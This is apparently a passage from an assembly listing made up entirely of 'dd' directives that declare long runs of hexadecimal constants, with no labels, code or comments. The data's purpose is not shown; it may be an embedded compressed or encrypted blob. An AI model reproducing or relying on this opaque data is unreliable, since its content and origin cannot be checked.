2080DC98h, 0B51B169Eh, 0FAB442Eh, 0F4603C26h dd 84655Eh, 471E219Ch, 7A728EABh, 7EC2232Dh, 0C1490502h dd 0D718808Ah, 1F00B888h, 0BD5FAD63h, 0EA7214DBh, 18890F62h dd 0F70042FCh, 0AAD62140h, 22203D05h, 238064E8h, 0F2B1677Dh dd 2CCD7D9Ah, 2C30F4B3h, 0CE060406h, 0C8848389h, 1F2C3580h dd 9821E601h, 140849D8h, 581DFC78h, 0C242C01Bh, 7C669A4Ch dd 750F3892h, 402440F1h, 2D04E0BFh, 0B1031287h, 520D0B11h dd 8C85300Fh, 4708D0C4h, 9DE2F30Fh, 8800D54Fh, 7A401789h dd 0F59B5C54h, 5998DC02h, 505301CEh, 8C50DD50h, 35BA90A0h dd 0FF93F11Ch, 78F6C585h, 84C038E5h, 825C00A9h, 7C83D787h dd 0D8FDF1B1h, 6705CBC4h, 0B71D38B3h, 4A40DC00h, 1F83354h dd 0E2F3A29Eh, 7090EED7h, 0BE3072ECh, 0CB1ACCBh, 80B75038h dd 87D6025Bh, 0E96DB330h, 0DCB404E1h, 30910253h, 42261880h dd 473656h, 0A133E00Eh, 4D7A4BAAh, 385FF303h, 0C9E33EA2h dd 470C236h, 0B9790028h, 521BD1BFh, 0F1A08D22h, 1E909285h dd 0A54C6A00h, 0F38A4F20h, 0F712011Ah, 4036B5E6h, 0A31EEC5Fh dd 0F0EB8300h, 8802CC6Eh, 0C721003Eh, 0E396273Fh, 6A00A4E0h dd 0D47B084Dh, 543393h, 0A01C4822h, 0C577E6DCh, 341F9500h dd 2DE394C9h, 0A8994943h, 97368E14h, 0BDA2ED01h, 42E9D44Ch dd 0BCC399F0h, 0DEB2C88h, 0C3CD3900h, 0E43C5BC6h, 457595h dd 7F6D9282h, 0C536530Ch, 0E17AE00h, 7E434999h, 6BA200A4h dd 0B63501B5h, 1900C5C1h, 0F5A19C46h, 0FEC0C4C9h, 1E6D04D6h dd 0C0162156h, 4EF76300h, 4476E210h, 41A86A00h, 208B24FFh dd 3600B490h, 7A952901h, 48A3189Dh, 0DA2F1C51h, 4A717C23h dd 86ED0AD0h, 0D53E500h, 0D8B3CC8Bh, 0E93A6048h, 132679E2h dd 0EEA0C760h, 18EBA2Ch, 0F10264D3h, 6094257Ah, 2301D5A0h dd 77A999FCh, 48804432h, 6CAB0D47h, 0FE00F639h, 9B4CF4E6h dd 646A562h, 0F384EAB4h, 5C00588Bh, 0C92ADB08h, 25E93B4Dh dd 288FF18Dh, 0E77B1A0h, 80901F44h, 0BA89AFE2h, 700FA030h dd 8A390049h, 86906964h, 0D41EC240h, 7C82D047h, 23DD01h dd 0D5BF3557h, 98F6411Eh, 21378FC3h, 7503A8AEh, 5D2F2851h dd 0F74700BFh, 709605CDh, 0A700D2E6h, 0A6DF6BE9h, 70638064h dd 20A20001h, 28E60E10h, 6B00F94Bh, 5F8FA65Ch, 334085Bh dd 0C3BA9F3Ch, 20A860C7h, 0E700AE81h, 36F73353h, 86F217h dd 0C429A2B5h, 0EE3F8D3Bh, 46042B0Eh, 5283C04Ch, 1FE46C39h dd 492AD3F9h, 60808CAEh, 0CDD52068h, 0C182C000h, 1CE9F7ACh dd 4AEE01B7h, 0D16275FDh, 3AEBCC7Bh, 0E1DE800Eh, 7A5A6031h dd 7EC8A4h, 8C24CC45h, 300AC128h, 0E6407C79h, 67781240h dd 80745D98h, 10A63BBDh, 7A075EC1h, 83B222D4h, 0A44ACFC0h dd 0D31500A5h, 3A8E6D79h, 0E4004FB8h, 11D417CDh, 30F781E7h dd 0D710CA53h, 9107F605h, 49E50CF8h, 0C7551340h, 4BB0075h dd 0DE549D9Ch, 0F1042C73h, 440596C0h, 81FFEA80h, 0ECF4904Fh dd 0DF761375h, 2975007Dh, 916E21DAh, 8EDC7316h, 7B271207h dd 4C74AB60h, 2E2B0658h, 8057CB37h, 2F53B900h, 8D61440Dh dd 0F1FC0028h, 5D899842h, 710046A8h, 3EC9F3DCh, 95FA9Ah dd 0F56932C5h, 59D2CA5Ch, 0D63D4D70h, 9712136Bh, 25F288C0h dd 5CF00ABh, 1A6F2BB0h, 0EA0098D4h, 5B91ADFDh, 1047D33h dd 3192AC3Eh, 38DCB6EEh, 88501248h, 46F08B4h, 0F705E1EBh dd 3AD0C047h, 9090D01h, 0E049216h, 0B0EC207Eh, 7DFCAE7h dd 0C28A9574h, 68E490D6h, 0F0000C1Bh, 0EB9A216Bh, 5023D14Ah dd 509C22h, 0F43A1E2Ah, 0C78006EFh, 7F0CA3Dh, 3FA9A09Bh dd 0F47840F9h, 8DE60046h, 2919F75Ch, 0B412ECC6h, 0C8A4A2C3h dd 0FF1F0050h, 52040A40h, 1A000285h, 674876BBh, 0F6591Ch dd 2EC0610Ch, 44CD5221h, 1758D001h, 8FF4C325h, 7F74202Ah dd 0E9C010F5h, 0A179CA89h, 0F3942C59h, 408C9C90h, 928A74B7h dd 0E213F29Eh, 9300A229h, 0B8879410h, 6B951F75h, 0E791801Ah dd 85E8439Dh, 6A00E290h, 876C2072h, 0DF2EA7h, 79BC03A8h dd 9C864BFCh, 245A1900h, 6E28C13h, 60BE0116h, 0C887EADDh dd 2FE0C2B4h, 0C673342Eh, 9736D600h, 310FFFBDh, 9A541628h dd 18AC00DAh, 0F6639F3Ah, 8CE10E05h, 0B3804107h, 0F37DC23h dd 9495420Ah, 0C57F11A0h, 760197D8h, 63ED3005h, 0F8E244DBh dd 0BA200E98h, 0B9875C10h, 21ED627Ah, 8061A889h, 0A102262h dd 985623A5h, 0DF48DD00h, 687B73h, 5413BC58h, 0E7CD8E4Eh dd 36398C0Bh, 17A081EBh, 1420EDB1h, 18F20043h, 0F490F09Fh dd 4C019B07h, 16B9FEC3h, 0EC500559h, 0C4A70Ch, 7BF16CD0h dd 2196D1AEh, 0D4001971h, 8C52753Eh, 0F94285h, 0CF39C3Ah dd 7618EF45h, 0C6C93501h, 0F806C737h, 87C0022Ah, 454E6EBh dd 514FB903h, 0AD1800B0h, 0FA7707Eh, 0FE0187BCh, 0D73B1505h dd 0CC6C14D3h, 81502C16h, 646699B4h, 2809B7A8h, 804C34DDh dd 0D0C95C6Ch, 0EFEA00A6h, 0E7BFC53Bh, 0F4A99EE3h, 0EC8DDCCBh dd 219A38C1h, 27DD305Bh, 1B91E4h, 6A422A5h, 8D51B7CAh dd 182ADC00h, 68345A70h, 9117161Ch, 6C73002Bh, 3D0C03F2h dd 0DA702F02h, 62670FC7h dd 10F80Ch, 96A67309h, 0CA4C7CE9h, 0C98D40h, 63220842h dd 0E4068F6Bh, 3900EFFEh, 0FA5B1C9Ah, 1C34C030h, 0C02E04C7h dd 0D1C2B29Fh, 2F007142h, 63EA579Ah, 8B4B17h, 6EAC776Dh dd 888108Ah, 0BF1F0E12h, 0D30160B2h, 0FFD19215h, 3C8FC0EFh dd 89A8413Eh, 737E75h, 385E8630h, 0D0BCA39Dh, 37C6E0Bh dd 33839FDAh, 64F87623h, 1100EBCDh, 486AA7F2h, 1954FA1h dd 0F03F9CC8h, 30D6B877h, 0BE0023F6h, 152164AAh, 8CE618h dd 8136E5F2h, 0CD669B8Bh, 0FE3C2400h, 9A57DEA0h, 0B4200BDh dd 0BC348AA8h, 751270CCh, 0AA0EF4ACh, 612D2037h, 941BE6FAh dd 0AA3900C4h, 0BF70DF2Ah, 33498800h, 0CC4B46C3h, 5F45245Bh dd 0FB00BDF8h, 90E40209h, 8C3F2F7Ah, 58920001h, 6F142E03h dd 0AD0E0081h, 0A31A3575h, 0F73BDCC0h, 408C504Ah, 45763700h dd 0CE51F5FCh, 0C09099h, 0E0E323A2h, 6B3E5AAh, 5B02409Ah dd 34B6F60Dh, 0C96849C2h, 8900C428h, 1FD4DAA7h, 0E30F2171h dd 0E0022760h, 77BBAE41h, 0FA960F16h, 9CE27Ch, 13EE7437h dd 0E6FAB73Bh, 1EB9A000h, 28570BA1h, 0AF4F00C7h, 242AD234h dd 0E003C96h, 14FF9915h, 30D8E3CAh, 4A21C64Fh, 3D0772ECh dd 0D76885F9h, 0CC7814D0h, 8770C10Eh, 0E839C962h, 6000FCAEh dd 0F3D54569h, 0E1FD7625h, 28CA33F8h, 0C9F797h, 0D5A7E949h dd 309086FEh, 7ABCA500h, 0AA2FBEEEh, 5FF00BD2h, 3681C187h dd 31A1695Ch, 0FF9AE09Ch, 4EFCEA03h, 225FE6h, 0ED7B0EF8h dd 104278D8h, 0B2D93Bh, 545327C8h, 3D9E48h, 95655AF6h dd 46DFD204h, 99F09775h, 2AD1A300h, 72BA3C17h, 1937891h dd 78B71590h, 8039658Ch, 0B4AD210h, 5CFEE586h, 2E04E725h dd 0C0AC378Dh, 4E9EAA0Fh, 3E29B100h, 0D9219C80h, 48C01309h dd 53390503h, 0D8C0005Ch, 0C4BD661Ah, 682D5400h, 0D30245A3h dd 18E31CA8h, 3D6964F9h, 0EEBB5201h, 60B42FC8h, 631D5317h dd 1831C1DEh, 2BF909ACh, 8DD43EDh, 0AED47CE9h, 5C2917F4h dd 9AB20089h, 0B316B045h, 9578E660h, 0A02C9DAh, 47E47E12h dd 0B20C80F0h, 4F67C670h, 2552B300h, 0DA18B9C9h, 4BED0051h dd 0A27DA880h, 0E6004A79h, 13490BF8h, 3AD6F44h, 0C0D11D36h dd 47AB2DFDh, 3AC8200Fh, 0B6608043h, 96BF58h, 45DE7163h dd 0C911C1D0h, 94AB8000h, 544ED122h, 1FA4008Fh, 0AAC6ECF9h dd 38003A26h, 19C4A3F6h, 212C72h, 191B139h, 0EEECFB50h dd 47C91E01h, 5488696h, 4D5260h, 36DDEF09h, 17E22AD6h dd 1E6EBD00h, 80610A0Dh, 8DD50344h, 0BAC1F5C8h, 1DD0D1A8h dd 0D3B76B02h, 80DCCE87h, 0F1B19C90h, 706791Eh, 0D068B054h dd 0F9E0EE14h, 0D430F580h, 624A7D00h, 0B3156F07h, 7EDF0741h dd 0F042521Bh, 3E2335F8h, 9D1FDE00h, 51B8FAECh, 0B9F504B3h dd 0C1762204h, 0F8D82BB6h, 0FC2BED6Bh, 0B960C8D9h, 40300Dh dd 0BA13D025h, 4D553666h, 0B0467B14h, 0C9EA02D4h, 8028A3CEh dd 180F68BCh, 9F290063h, 67619164h, 0D6008905h, 0E223A6EAh dd 3D0B95h, 0B103017Ch, 0AD887E76h, 81CC903Eh, 6D39C3Fh dd 55DC51C4h, 1FBE006Fh, 0F68B276Ch, 0A269D80h, 0BF00F2h dd 889BB3E1h, 0BDCF76h, 90711260h, 706E9642h, 38B85700h dd 52D888E2h, 29AB07A9h, 573DC2D9h, 0C86970DDh, 0B9009241h dd 6B11D4EEh, 5F1AD07h, 0B75F7C86h, 0F28000B3h, 90D27D31h dd 23BEA704h, 0D3C16880h, 8A40A001h, 782966Fh, 0EE78C73Dh dd 0F2AB07ECh, 0A7C03CCEh, 3B00FF39h, 59F69961h, 50067Eh dd 0C0A75C0h, 833CAA6Ch, 28B58F30h, 0EA6A55h, 3E26724Ch dd 0FDEF0F97h, 950B310Eh, 818AE078h, 1FBC432h, 1FADDCDh dd 0D098F640h, 41F24C3Dh, 3EA880FDh, 328FA4E4h, 8813079Ah dd 0ECBE0596h, 6EE801A0h, 1B422F1h, 4AE50CCBh, 9440E3C7h dd 0F3E043h, 93372697h, 678BEA7Bh, 0F960D518h, 0C4FE20h dd 3C7AE720h, 87334E9Ch, 36437F00h, 0D0F0FCF8h, 73DC002Ah dd 0E48AEA4Ah, 42B049D6h, 2C115700h, 64D9C8BEh, 0DC690085h dd 0FF3B4896h, 0F03D72D3h, 0F28F00EAh, 0F85B128Bh, 0FD580F73h dd 2A600A79h, 8DF68305h, 7800D1B8h, 0B291E356h, 7260327h dd 0D6AD57E9h, 0C05F3E73h, 6F3DB14Dh, 0FC2740EFh, 1C55DEA2h dd 0BD210091h, 0DDC04876h, 1BB86304h, 1DC0DAFDh, 26A78FDFh dd 0DCEC72h, 7D451643h, 0DEF09AABh, 0F2518500h, 3F4CF142h dd 0C5D20FBCh, 6D40060Eh, 5E9F957Eh, 380C0400h, 13886146h dd 0AB253FA2h, 7DB4E987h, 90781027h, 3D07A64Dh, 1113C5F8h dd 0F4E16540h, 9B1000F9h, 0E09D4914h, 0D2FC6E78h, 97BCC600h dd 0F8B00DFBh, 0CC892E6Ah, 5DE200D2h, 0F393C43Dh, 7B004770h dd 2958577Dh, 0ECBCB8ECh, 5A6C04ACh, 80E1248Bh, 3ED620B2h dd 0E41E1D03h, 0C0918A62h, 0F58214h, 0C7C30D52h, 965CED8Ch dd 32F76800h, 64C6E3E5h, 3A6B8A8h, 2EB4C2BFh, 94B92CCAh dd 3000E311h, 5D36C032h, 9F714C9h, 0A88B5B75h, 0D37B4500h dd 4500C2D2h, 0AF6D2D13h, 78AE10ADh, 73EF00DAh, 0A6769409h dd 0FA0051F2h, 311A423Fh, 89EB30h, 0D4C4DB27h, 0C5F6BD97h dd 2E04C300h, 2A398F61h, 5C7603FCh, 0F51D0573h, 609BADE8h dd 5A72E100h, 3BD72691h, 0E593C20h, 9705413Bh, 0E2A30D5h dd 0DFC05284h, 0EB75D69Fh, 12887900h, 8D68E01Eh, 0FCC61D46h dd 2726E0Ah, 4EA0A29Ch, 3B3DA640h, 73EA3A00h, 1752679Fh dd 0BCDD3C12h, 5FFF2600h, 5A93BEA4h, 553E5103h, 0E2AD0C54h dd 0FE3BE0B9h, 0E49400BDh, 0DE9BF180h, 7F0083E6h, 2523F858h dd 855FCh, 5CB6AADCh, 852F24C9h, 9CC14003h, 80EFE651h dd 70D327h, 77E3D043h, 28F86436h, 3503CF00h, 7CC2C1F4h dd 4BCC0088h, 9A493243h, 0A60013E5h, 0F4F1D551h, 315E762h dd 0B2B53827h, 40C0A492h, 4103DED9h, 63F13A2Eh, 0CFC4E08Fh dd 2C8B006Ah, 5F6B8982h, 9D00CDAEh, 862FA230h, 2448E0h dd 9F47968Ah, 0ACFFDC3h, 9693B03Fh, 1000E31Ch, 9BC9D06Dh dd 0AF8B00EBh, 24FF8506h, 0AC3CD721h, 4409009Fh, 0C0B1417Fh dd 3305002Eh, 0F874D2ECh, 65077899h, 0A29A98Ah, 308C4F20h dd 0C5EB2C88h, 2C37072Bh, 113E20D7h, 14E0F131h, 0A7B66E00h dd 36EE8A7Ah, 81EF00F3h, 0D3073DCAh, 0CF00872Bh, 42255EEAh dd 30A010Ch, 0CA5632A3h, 6AC07BEDh, 3D241EF3h, 5C0FD985h dd 62F1E72Ah, 81FF6D50h, 9A4D0006h, 0B8D221A1h, 9E0F38DBh dd 0E7CCE775h, 1931077Dh, 2C20FD66h, 6D37C6Fh, 0A520B0F4h dd 24F88014h, 6641BF04h, 0C4903EC6h, 3BCD79B6h, 6D0F2781h dd 7A4E367Bh, 0A1A65781h, 80398606h, 0F03027DCh, 0F4C40CA2h dd 0B008BD77h, 60CD7838h, 1F064228h, 0FF96008Dh, 8B5CE5D1h dd 81004B7Bh, 6637F1DFh, 146FB8C4h, 28E78301h, 0F4ACBC06h dd 6873A9B6h, 0E1986454h, 4A907866h, 9B740058h, 21D81ADFh dd 0DD00B0FFh, 1D3D8C19h, 0E4794A4h, 0F17B7C07h, 411B8BE6h dd 279E8205h, 8BC0AF4Ch, 1FF754h, 3EC758ECh, 0C84AB05Dh dd 5AE4AA00h, 7117BC85h, 0BA6C0084h, 0BF260D93h, 9E5C8B3Bh dd 0D53CBFh, 29F269DEh, 1AFD35h, 6FE761F4h, 3CCD6B10h dd 0AB8FF800h, 29E0C83Bh, 0A027006Eh, 740149A3h, 6200375Ah dd 1E38ED26h, 0FFA8A94h, 80CD1DCAh, 0B580320Eh, 86227E23h dd 0E3563D28h, 65A25915h, 30DEEC04h, 66105B55h, 50745F0h dd 0E9335F88h, 68B77C90h dd 0AE00F60h, 3180FC57h, 0BE3B34B8h, 9AF87AF8h, 60E69100h dd 8F1B132Fh, 5964604Ah, 94285E82h, 2B500362h, 46DE1090h dd 29C020E6h, 82C96DD0h, 0E4FB0052h, 5D8D9D3Eh, 0EB0037BCh dd 14383D7Eh, 0FE646E0Bh, 0F9E962DFh, 0DE2163DAh, 0C8005ABFh dd 0A420491Bh, 0D95B17FCh, 799000E4h, 1798B347h, 410070A6h dd 0E268B650h, 1DE75771h, 0C07BD6D0h, 0B8304620h, 0E8C03C6Eh dd 0E1CEA160h, 2B5E011Ch, 3D49E0CBh, 0B1341367h, 4C58BD43h dd 0C85500E4h, 5AFB65C2h, 0FF41E7BFh, 29164AE0h, 12946249h dd 0B7360C24h, 7D18BBA9h, 4238BA14h, 4A8A854h, 63892935h dd 770421F8h, 0B38D0641h, 0F5C1D040h, 90FAh, 35752925h dd 3F2E5B2Bh, 6A06F4A0h, 170C99B0h, 2905C4C3h, 0AA228445h dd 11764249h, 5121DC41h, 9042E508h, 0F2BF8462h, 440FCD44h dd 2E442767h, 80570E43h, 0A14F7E24h, 0F195038Ch, 89D8CC02h dd 0D5C0D6D2h, 0A8003688h, 6741E7F2h, 19133C4h, 985E5CB1h dd 0F86BF955h, 0B0016F7h, 6F7C44D2h, 0DE3081h, 5EA3FD77h dd 2A8480B1h, 83E5C900h, 2651B429h, 88F0740h, 10FB68C6h dd 2CAC614Ch, 0CCAF8C00h, 4083E790h, 18EE00FFh, 29E989A2h dd 83C5981h, 3AE001Bh, 0DA57A4CEh, 781712C6h, 58C84099h dd 559FA20h, 0EC747B04h, 0BB800BA4h, 0E07F40h, 77583C79h dd 5675B9DBh, 0A2732900h, 3717A39Ah, 0D6CC307Bh, 0B57E2060h dd 0DE510700h, 54F36795h, 338A0002h, 0E0C0659Ch, 8400A161h dd 0E109C7F8h, 7A10C1h, 0F58C5290h, 993F38C3h, 0C5729A01h dd 7978D92Eh, 0E0F000FBh, 0D87C2BFh, 8E4DCF3Fh, 1D33E1Ch dd 1C39FB47h, 0A4705168h, 33D4E5A5h, 0A82700F5h, 37BFD4B7h dd 5E006FC2h, 431EA34Ch, 255A78h, 1BA853BBh, 790BB738h dd 0E3946200h, 7A08B4B6h, 50AA0084h, 0ECC9FC9h, 633D0986h dd 0DE1101F0h, 37A86DB2h, 81FAE4h, 0C9074F7Dh, 0EC2745D2h dd 0F4936501h, 0A115A217h, 23BAF0h, 1A092694h, 881E0D59h dd 0EC1CC576h, 0A5008174h, 0BC8F19F2h, 0B65B0041h, 604290A1h dd 0B9046F57h, 0CA269301h, 37A62F80h, 3E89243Dh, 6CE10098h dd 8DF97ADEh, 12995817h, 3F94E201h, 5EC434E3h, 0CD8E00DCh dd 0EB81721Ah, 2A001209h, 0C87EA52h, 3638F57h, 0B0B539C8h dd 0E6804325h, 36000EA7h, 0B7C7C068h, 0A6BF53h, 64057354h dd 63297C43h, 1EB9CB39h, 3F00A9E7h, 0C652FF58h, 0CA7E0BF7h dd 5980B357h, 6D32569h, 76DA1503h, 90B9D92Dh, 975BC8h dd 0F136E432h, 57D401Bh, 94275F00h, 0E3396872h, 0BE1D38B1h dd 40874E13h, 0FA5B63D4h, 9D493150h, 53017784h, 0A42843ECh dd 8D40767Bh, 7A6589h, 5827595Bh, 0ABB42298h, 7E034F03h dd 889DF164h, 783DACC4h, 0B9F30672h, 28BDCF0Ch, 0DFCB2C00h dd 995D4754h, 0AAFF006Fh, 5C42A295h, 4600D782h, 50A916D3h dd 56DA18h, 617AD4EDh, 0DC24474Eh, 9C1278F0h, 0DF02EEFDh dd 40BDC239h, 0EC18888h, 0B2C7F6A1h, 1E378183h, 0F9DE00AFh dd 24006C58h, 557D5E94h, 0E956F8h, 978D66A6h, 0DAF6A738h dd 0C815323Fh, 0B1EA0714h, 568009B6h, 0B7ED6ACh, 601675D7h dd 0B90FBF80h, 29034AA5h, 49BA892Ah, 8CC80E9h, 0B2E4247Dh dd 0A5798018h, 0C89171F1h, 18115030h, 0FAD7AFA8h, 0FD4C072Dh dd 0C0E76613h, 61D2F889h, 5A820800h, 0BF444F03h, 0A02C0027h dd 1DB74D20h, 0AD07985Bh, 30360F4Ch, 1881FE64h, 0E670A33Ah dd 43E6C4h, 7559A001h, 0C6DFA6FDh, 2C1AC900h, 8AF0F5ECh dd 0AFCD007Dh, 744F9465h, 187FC550h, 6BD8B20Eh, 60A8EF93h dd 61D74E6Ch, 28CF071Dh, 5618C4B4h, 6807B0BAh, 0A3F5E046h dd 0D9E09CB7h, 0C67398h, 5B7B953Dh, 48A52720h, 8084893Ch dd 0C9B37A01h, 0C6CC30h, 0A9BF11E1h, 70BC5394h, 80F65538h dd 0E376B138h, 0D0364Eh, 645E3C1Ch, 0F2D8C320h, 173AA300h dd 8F9F89E2h, 0B50F005Ch, 59D9DC40h, 120004D2h, 0DD4F927Fh dd 7E4091Dh, 0E5BD4271h, 0AD48507Bh, 4D00020Eh, 8EAAB7A6h dd 0A6231h, 74CB87Ch, 70F7E1E0h, 0A1B91B13h, 0EEAD6600h dd 3385042h, 5679A74h, 2D9B5487h, 0B66369BAh, 90004DEBh dd 481A59ACh, 0EE1FCD12h, 88DF0099h, 69ED1378h, 8D004F89h dd 1F17ECEh, 0A66634h, 0A8CD6DC7h, 0A331642h, 0B6308C00h dd 0FD867954h, 32BF00DBh, 0EC66D51h, 140095C4h, 0C3BDC0DAh dd 0A85F7Eh, 0F45B9383h, 962DF6EEh, 9454E700h, 0AE8E1CA0h dd 67B7023Ch, 0F20B5069h, 0D053D461h, 9B1F9A8Fh, 0A7C02B86h dd 0FAD1CA23h, 0FF8400DAh, 492A70E3h, 0EF0E8A7Eh, 0A039CD0Fh dd 2756AC6Bh, 4BFC53h, 10126AE3h, 0CDB6747Ch, 0DA8E8B1Dh dd 7E820079h, 5B2F0C29h, 109880h, 0EF2A83C8h, 0E669F1FEh dd 0F4A77F07h, 4667FBA3h, 0F09232B0h, 0F755007Bh, 6608090Bh dd 0D460228Fh, 95F16CE0h, 0B0160094h, 0FA03FA2h, 0F21CE22Bh dd 0B2015438h, 9EE95F59h, 3D1C2C28h, 0B9418FD6h, 0E7DC9C40h dd 7C261482h, 4840CCFBh, 98E193EBh, 0A4440041h, 0B78E1ED5h dd 0F200B01Bh, 542F2940h, 96E81FCh, 0AE9A5DE8h, 720C48Fh dd 66D2288Ah, 0F0240C3Eh, 80F16D3Ch, 4ED8919Fh, 0F2267E01h dd 0C7750039h, 0E758B996h, 0BF0ED73Eh, 43CCA0D1h, 88C15D70h dd 72531F08h, 0BBE90082h, 30956D3Eh, 0A000D787h, 0C41EB356h dd 6138ABAAh, 4B8A109Eh, 723CFCF2h, 0B63F020Bh, 20BC2F0Bh dd 48BE0AA5h, 0CF1C0074h, 2218AA25h, 0BAFE4C58h, 0B556C51Fh dd 8FD87140h, 137C5D6Dh, 40DBEB07h, 773078CCh, 7D1E821Ah dd 0EE1D6F2Bh, 96C933DCh, 0FA084069h, 0D9C31EFFh, 0BDE035Bh dd 0F4F0943Eh, 0B0003321h, 2A1970F0h, 7E26F213h, 0B8233CA8h dd 787CEC58h, 0C691018Eh, 0D744642h, 632CD857h, 25EEC07h dd 0D8000CD4h, 0DD71ACh, 0C3756A49h, 7658B362h, 24514D01h dd 29ED1CFAh, 6A0DD8h, 0CE91183Eh, 0CC329487h, 3F202360h dd 516466Ch, 5FEAE66Eh, 0CEF080E1h, 0CAEE2A96h, 89142E3Eh dd 0A0A195h, 0E0FF603Ah, 757104B6h, 90284CEEh, 1278DD20h dd 898617Bh, 220087F2h, 0B09B97F7h, 0BA38B8h, 81B34B67h dd 4407A4BDh, 6F7EB400h, 0D2937F57h, 8F090060h, 49E10134h dd 7A24FC08h, 462820A8h, 920AA49h, 2033B0D5h, 1D8BB790h dd 112F0081h, 359AFEC1h, 8760F308h, 0AF5FDB21h, 7EB2F2D3h dd 1DD7022Bh, 0F8EA3D9h, 4BF76CC0h, 3CB31007h, 533054AEh dd 0B614C74h, 0B613F86Fh, 0B245DC00h, 9BEA8E96h, 18E5FC05h dd 0F287DC8Ch, 0ADA646F0h, 7B250538h, 0B55EA3h, 217FBF90h dd 800E7CCh, 0E4F269C5h, 1240767h, 84E8D52Fh, 0E5DE3091h dd 9050D24Ch, 0B400C34Ah, 76F789E3h, 12BE0E5Bh, 0D9CE8651h dd 0DB08CACBh, 7C4C89B4h, 43DF14B8h, 0BDCDD700h, 4C62C4E0h dd 8A2000E6h, 0C9E27E5Eh, 0DE759426h, 0D0B87000h, 60827B6Bh dd 8038014Dh, 3428E62Ch, 0E8FE31EDh, 75E4EB08h, 0B333BA0Eh dd 1FAF62Eh, 23D8389Bh, 6E44F414h, 18573E03h, 88647640h dd 0B05BEA92h, 0F4FE10h, 0AD511A2h, 0E4495FD0h, 8081C83Fh dd 0C065BF54h, 1EB7F9h, 8DEB765Eh, 0F7E3503Fh, 0B8B31F0Fh dd 0AF3780DAh, 1F5C4F9h, 6BC28ABDh, 80B6BBE5h, 750CD698h dd 0DB86B2h, 0B015A96Ah, 4C571154h, 7ACFFA00h, 97E56904h dd 0C1261C65h, 98DDC927h, 1CFEF580h, 0B914C6E7h, 6E79E2Bh dd 7C855B5Ch, 95250F02h dd 0B840BDBEh, 0AC2B1C31h, 4344D900h, 5FFD1E0Fh, 346B00CCh dd 5410C492h, 2A1D6EC9h, 0D7001D87h, 58337925h, 0CC3700D6h dd 0C540C344h, 0CAF8239Fh, 4EA16200h, 0E98861EDh, 2F710015h dd 0DC2DFE28h, 0C31247DBh, 0C200FDBEh, 97484541h, 96A00226h dd 0EDEE624h, 6F118840h, 77BD058h, 6EBFDF1Eh, 4A506AB7h dd 88045Bh, 2F8E81ABh, 86FD14B1h, 8C891800h, 16849996h dd 30F50013h, 0BEAA49C1h, 8E0042B0h, 0F81BD519h, 0F8FE3C45h dd 0E1410240h, 3F717932h, 0EC15A0C1h, 47722B10h, 5D11800Eh dd 90EC00F9h, 3FBB69h, 16D4ADCBh, 754DBE89h, 53F6A100h dd 0D731FBB1h, 44FCFCh, 5878A04h, 0C7B8820Dh, 673F4C00h dd 0C35BACE8h, 0D7183B1Eh, 129F250h, 0A2C52FDDh, 609BD051h dd 163BF2F3h, 0EA017980h, 294743D6h, 90FC5924h, 2C7FF6BBh dd 0AE84F0h, 812689ECh, 502462B7h, 6600E488h, 5E94DFFEh dd 3FF83D78h, 0C2313873h, 0CFF59880h, 0BC38D6CCh, 960D8501h dd 7744501Ah, 42D81C4h, 0CEB7AF3Dh, 0C09BB075h, 4AC22B00h dd 355D9AA8h, 0A62700E0h, 9BA77806h, 803CEBF5h, 0D07C7DB9h dd 620F9307h, 2CD08F72h, 2032D5h, 9CCC1CB6h, 7CACD2AEh dd 0C4148E06h, 28BDA8h, 0E181BF3Fh, 98467504h, 0F087A900h dd 28399E52h, 4DC500B9h, 0CA8E069Ah, 1F3D676Bh, 17F0FF60h dd 14BD8A00h, 0BE72E0Dh, 7B130042h, 840403CEh, 0B57E3DFCh dd 43F82100h, 0F08834AFh, 0D2EA28DDh, 186A038Dh, 0FAD93FF4h dd 0D44CBAD1h, 0C2000684h, 8B2831C0h, 14DAA7h, 9D096803h dd 0EE6C8090h, 9F0E6000h, 51444353h, 0D0D2006Bh, 0CFBBA755h dd 6002584h, 0C512C89Ah, 0E657EAF8h, 765D0005h, 5FCE9B90h dd 0AF0741C7h, 0C270406Ah, 0E8C8C571h, 146664C8h, 91B5CAB6h dd 19406075h, 81B0DF9Fh, 0FF3F9379h, 0CE24009Dh, 0A99E6B70h dd 3C7929h, 6FBD1EAAh, 0A7D031F9h, 0D3BF9F00h, 0C737A0DAh dd 95BB0071h, 7252CCB5h, 0FB7C5348h, 0A3C8A807h, 64204222h dd 0EEC41D2h, 59B3142Dh, 73B716E0h, 13542C36h, 8C00529Ch dd 0F1FAC353h, 0F2E3CF42h, 92A0060h, 0C40EB694h, 7400DFF3h dd 13AA59Fh, 1E4CA9A6h, 0CC1B2D9Ch, 338658BDh, 125C1300h dd 4D3ECE85h, 0DA7C82h, 3A9C799Dh, 57BAD36Ah, 0FB4CE572h dd 0E7CB0090h, 1EA86D4h, 72B10089h, 24388DC7h, 63016171h dd 0D8485747h, 0B6FC1CBBh, 0CF080011h, 2462B3CDh, 0E0EE41DCh dd 2453200h, 69A17836h, 64633FDFh, 7EC8E58Eh, 13526CE1h dd 0EE3C20A6h, 60D90C0Ch, 192896h, 0E3113F8Ch, 789A67B7h dd 8E005EF6h, 0C72B07C1h, 8C2726h, 61DD0CD5h, 89052285h dd 466B660Fh, 589D0F67h, 98D246h, 0CD2A9240h, 7D51701Eh dd 0EF487E03h, 0E003BD29h, 42E452h, 6C46C3A7h, 804554F0h dd 0F967B201h, 0B42D70B8h, 83E42AC5h, 333B031Fh, 39506604h dd 5987FFE7h, 0B1165169h, 0F034CC86h, 0EC800C02h, 4030516Eh dd 8956CBh, 0A4951029h, 3FD8D99Dh, 0F635B700h, 6C1457DDh dd 0A06E007Bh, 4D0D2D29h, 361E03A7h, 129F591Dh, 0EB3ADB83h dd 90D6E047h, 8F9E00D1h, 0C93DE2CBh, 0A000F315h, 0A47330EEh dd 0C82DD4h, 0E2F07143h, 778F76AAh, 96541200h, 0E0E326D2h dd 3947002Dh, 871F217Ch, 600017DEh, 0EF6FF28Ch, 0E674D932h dd 7F410006h, 89DFE23Ah, 1B093028h, 0ADE8BDh, 0A6938D9h dd 443500EFh, 0E2D236B2h, 76009780h, 838BFCDFh, 8F5248h dd 0B3A04ACDh, 3D5EB48Eh, 0BC229938h, 7D00F6C0h, 7545FA49h dd 4F4696h, 1B76A429h, 0A6FD206Dh, 1D627F00h, 86BF182Fh dd 0DEF301A9h, 6F1FC64Bh, 0C25DE0B4h, 22233803h, 8853D229h dd 0DBA186h, 47546E27h, 0B69344A3h, 9501CF7Ch, 0DA56159Ah dd 0C6E48DE3h, 0FD38005Fh, 526E67A1h, 